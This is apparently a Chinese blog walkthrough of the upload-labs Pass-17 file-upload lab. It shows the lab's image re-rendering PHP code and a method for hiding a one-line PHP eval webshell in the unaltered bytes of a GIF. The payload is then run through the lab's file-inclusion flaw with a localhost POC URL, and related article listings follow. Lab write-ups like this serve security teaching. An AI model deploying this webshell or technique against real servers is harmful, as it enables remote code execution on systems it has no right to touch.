[网络安全]upload-labs Pass-17 解题详析

这篇具有很好参考价值的文章主要介绍了[网络安全]upload-labs Pass-17 解题详析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

读者可参考、订阅专栏:Upload-Labs靶场攻防实战


Antsword蚁剑

蚁剑工具的使用可参考:

[网络安全]AntSword(蚁剑)实战解题详析(入门)

[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集


姿势

后端逻辑代码:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传<code>图片马</code>到服务器。</p>
            <p>注意:</p>
            <p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code><code>webshell</code>代码。</p>
            <p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
            <p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关!</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

<?php
include '../footer.php';
?>

imagecreatefrompng是PHP中的一个函数,用于创建一个新的图像资源对象,并从PNG格式的图像文件中读取数据

由于二次渲染后图片中的部分数据会被修改,即(A,B,C)可能会被修改为(A,D,E),那么对于此限制,我们可以找到不被修改的A ,因为它不被过滤,因此我们将A修改为注入语句,此时语句不会被过滤,从而达到命令执行的目的。

我们先下载一个gif图像,使用Hxd编辑器可得到其图像数据:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs


HxD Hex Editor 工具的安装使用链接:HxD工具使用说明详细教程 | CSDN@秋说


接着上传该gif,得到二次渲染后的图像:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

接着将该图像另存为8479.gif,使用Hxd编辑器查看:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

可以看到自00000190后,数据被二次渲染,也就是说在该行之前的数据是不会被渲染的。

于是我们插入一句话木马:

<?php @eval($_REQUEST[1]);?>

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

保存修改:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

接着重新上传该gif:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

找到该文件路径:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

由于靶场存在文件包含漏洞,于是我们可以利用文件包含实命令执行:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs

POC:

http://localhost/upload-labs-master/include.php?file=upload/11078.gif&1=phpinfo();

命令执行成功:

[网络安全]upload-labs Pass-17 解题详析,网络安全,# Upload-Labs靶场攻防实战,web安全,安全,upload,文件上传漏洞,upload-labs


总结

以上为[网络安全]upload-labs Pass-17 解题详析,后续将分享[网络安全]xss-labs Pass-18 解题详析。

我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-735067.html

到了这里,关于[网络安全]upload-labs Pass-17 解题详析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • upload-labs Pass-03(黑名单验证,特殊后缀)问题纠正

    1.1.1 系统、内核(可以是任何系统) 1.1.2 应用 php7.2 (可以是任意版本php,此次采用7.2是为了验证PHP远程代码执行漏洞复现CVE-2019-11043,结果没成功,原因是前端web应用我部署的是nginx,案例里docker容器里是Apache+php7.2) 相关连接:CVE-2019-11043 nginx (可以是任何版本nginx,预编译取

    2024年02月04日
    浏览(46)
  • upload-labs 16/17关

    将gif文件和包含一句话木马的php文件放在同一目录下,用cmd的copy命令将php文件整合进文件中。 可以看到最后一行包含了注入代码 将b1文件上传到服务器后,发现并未能正常执行代码,将上传后的文件下载到本地,打开后发现最后的代码被过滤了。 将下载的文件与a1文件用0

    2024年02月09日
    浏览(41)
  • 网络安全]sqli-labs Less-12 解题详析

    原理及姿势参考:[网络安全]SQL注入原理及常见攻击方法简析 本文使用到了updatexml函数,原理及姿势可参考:[网络安全]sqli-labs Less-5 解题详析 通过测试可知注入类型为双引号+括号注入 判断注入点个数 尝试可知注入点个数为2 库名为security 以上为[网络安全]sqli-labs Less-12 解题

    2024年02月07日
    浏览(44)
  • [网络安全]sqli-labs Less-26 解题详析

    本关过滤 空格 or and /* # -- / 等符号 可用过滤符如下 %09 TAB键(水平) %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) %a0 空格 使用联合查询,具体原理及解题方法可见专栏:Sqli-Labs靶场专栏 查库名: 回显如下: 查表名: 回显如下: 查列名: 回显如下: 查数据:

    2024年02月08日
    浏览(40)
  • [网络安全]sqli-labs Less-24 解题详析

    本关考察二次排序注入 二次排序注入原理如下:当注册一个名为admin’#的用户后,再对其修改密码,SQL语句如下: 相当于: 从而以 admin\\\'# 为跳板,修改了管理员密码 操作如下: 注册admin’# 密码11 接着登录后修改密码为123 可以看到管理员密码已被修改: 接着我们就可以使

    2024年02月07日
    浏览(46)
  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(47)
  • upload-labs通关

    最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。 Cookie-Editor:https://chrome.google.com/we

    2023年04月08日
    浏览(94)
  • upload-labs详细教程

    目录  第一关 js检查  第二关 Content-Type  第三关 黑名单验证  第四关 黑名单验证(.htaccess绕过)   第五关 黑名单验证(.user.ini)  第六关 空格绕过  第七关 点绕过   第八关 ::$DATA绕过   第九关 .空格.绕过  第十一关 文件路径%00截断  第十二关 文件路径0x00截断

    2024年02月04日
    浏览(49)
  • upload-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   靶场:upload-labs   下载链接:https://github.com/c0ny1/upload-labs    百度网盘:https://pan.baidu.com/s/1pu9tVCFKk5NZ3v9r1QZlOA?pwd=0432   提取码:0432   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用

    2024年02月05日
    浏览(64)
  • upload-labs通关攻略(更新中)

    upload-labs是一个使用php语言编写,专注于文件上传漏洞的靶场。该靶场可以让练习者了解文件上传漏洞的原理、利用方法。 1.首先要下载phpstudy,解压安装 phpstudy下载链接:https://www.xp.cn/download.html 2.下载upload-labs源代码 下载链接:https://codeload.github.com/c0ny1/upload-labs/zip/refs/hea

    2024年02月15日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包